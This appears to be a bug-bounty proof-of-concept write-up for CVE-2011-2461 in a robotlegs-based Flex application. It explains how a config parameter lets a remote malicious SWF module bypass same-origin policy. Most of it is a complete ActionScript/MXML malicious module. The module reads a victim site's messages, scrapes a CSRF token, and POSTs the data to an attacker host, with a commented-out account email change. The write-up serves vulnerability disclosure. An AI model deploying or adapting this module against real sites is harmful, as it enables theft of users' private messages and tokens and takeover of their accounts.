PoC for robotlegs—a MVC Flex applications vulnerable to CVE-2011-2461

Last year when I participated in a bug bounty program, I have found a web application that hosted a vulnerable .swf on their CDN. My PoC abuses the CDN as the intermediate from the web app to attacker host.The PoC abuses robotlegs-framework-v1.5.2 a vulnerable ActionScript Application Framework which allows SoP bypass.

It is not typical to exploit it (to read the HTTP Response of the vulnerable web app) because the vulnerable .SWF file is hosted on the CDN. In addition, the attacker can only do SOP bypass on the CDN. However, a crossdomain.xml policy of the vulnerable app allowed cross domain communication between the vulnerable web app and its CDN.

Adobe Flex SDK is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input to express-install template files.

An attacker could exploit this vulnerability to execute arbitrary script code in the context of a web application built using the SDK. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Adobe Flex SDK 4.5.1 and prior versions are affected. http://www.securityfocus.com/bid/50869/discuss

The vulnerable SWF file has 3 GET parameter which are game, config, and type. config parameter is used to load config.xml which is located in CDN domain.

config.xml looks like this.

<root>
<module type="game" url="GameViewer.swf"/>
<module type="puzzle" url="Puzzle.swf"/>
<default>
<type>puzzle</type>
<game>assets/data.json</game>
</default>
</root>

Based on config.xml file, vulnerable SWF file extends the module class of robotlegs MVC. Besides, main.swf loads gameviewer.swf and puzzle.swf modules.

The malicious user could force main.swf to load or inject malicious remote module(malicious swf files hosted in the attacker’s server) to itself by changing the config parameter.The injected malicious remote module can send AJAX request and read HTTP response of victim website. In other words, the malicious user can read messages, steal CSRF token, and send ajax request (change password of the victim, or any other actions)— Same-Origin Policy Bypass.

More information here

<?xml version="1.0" encoding="utf-8"?>
<mx:Module xmlns:fx="http://ns.adobe.com/mxml/2009" 
           xmlns:s="library://ns.adobe.com/flex/spark" 
           xmlns:mx="library://ns.adobe.com/flex/mx" 
           implements="interfaces.IModule1"
           layout="vertical" width="100%" height="100%">
    <fx:Script>
        <![CDATA[
            import contexts.Module1Context;
	import flash.net.*
	import by.blooddy.crypto.serialization.JSONer;
            import interfaces.IModule1;
            import org.robotlegs.core.IInjector;
	import flash.text.TextField;
            import flash.external.ExternalInterface;
            private var context:Module1Context;
			private var loader:URLLoader = new URLLoader();
			//attacker domain here
			private var attackerdomain:String = 'https://attacker.com';
            [Inject]
            public function set parentInjector(value:IInjector):void
            {
                context = new Module1Context(this, value);			
            }
         
            public function dispose():void
            {
            }
			
			//private function buttonClick():void {
			//	ExternalInterface.call('console.log(2)');
			//}
			private function ajaxbuttonClick(url:String):void 
			{
					var _req:URLRequest = new URLRequest(url);
					loader.addEventListener(Event.COMPLETE, _onCompleteJSON);
					loader.load(_req);
			}
			
			private function extractClick(url:String):void 
			{
					var _req:URLRequest = new URLRequest(url);
					loader.addEventListener(Event.COMPLETE, _onComplete);
					loader.load(_req);
			}
			
			private function readmessage():void 
			{
				ajaxbuttonClick('https://www.VICTIM.com/callback/messages/show/VICTIMcom');
			}
			private function extract_token():void
			{
				
				extractClick('https://www.VICTIM.com/settings/change-email');
			}
			/**private function change_email():void
			{
					ExternalInterface.call('alert(1)');
					urlRequest.data = 'POST_PARAMETER_HERE&user_settings_change_email[_token]=' + extract_token() ;
					urlRequest.method = 'POST';
					loader.addEventListener(Event.COMPLETE, shithappen);
					loader.load(urlRequest);
				
			}**/
			private function shithappen():void 
			{
				
			}
			private function _onComplete(e:Event):void {	
				var str:String = loader.data;
				var pattern:RegExp =/(_csrf_token" value="(.+)">)/g;
				var results:Array = str.match(pattern);
				ExternalInterface.call('alert', 'notjson');
				ExternalInterface.call('alert', results[1].slice(20, 63));
				senderinfo(results[1].slice(20, 63));		
			}
			private function _onCompleteJSON(e:Event):void {
				ExternalInterface.call('prompt', escape(loader.data));
				senderinfo(escape(loader.data));
			}
			private function senderinfo(data:String):void{
					var _req:URLRequest = new URLRequest(attackerdomain);
					_req.method = 'POST';
					_req.data=data
					loader.addEventListener(Event.COMPLETE, function(event:Event):void {
						ExternalInterface.call('console.log("info has been send to attacker domain")');
					}
					);
					loader.load(_req);
			}

        ]]>
    </fx:Script>
    <s:Button id="button" label="read message1" click="readmessage()" />
	<s:Button id="button1" label="extract token" click="extract_token()" />

</mx:Module>

References: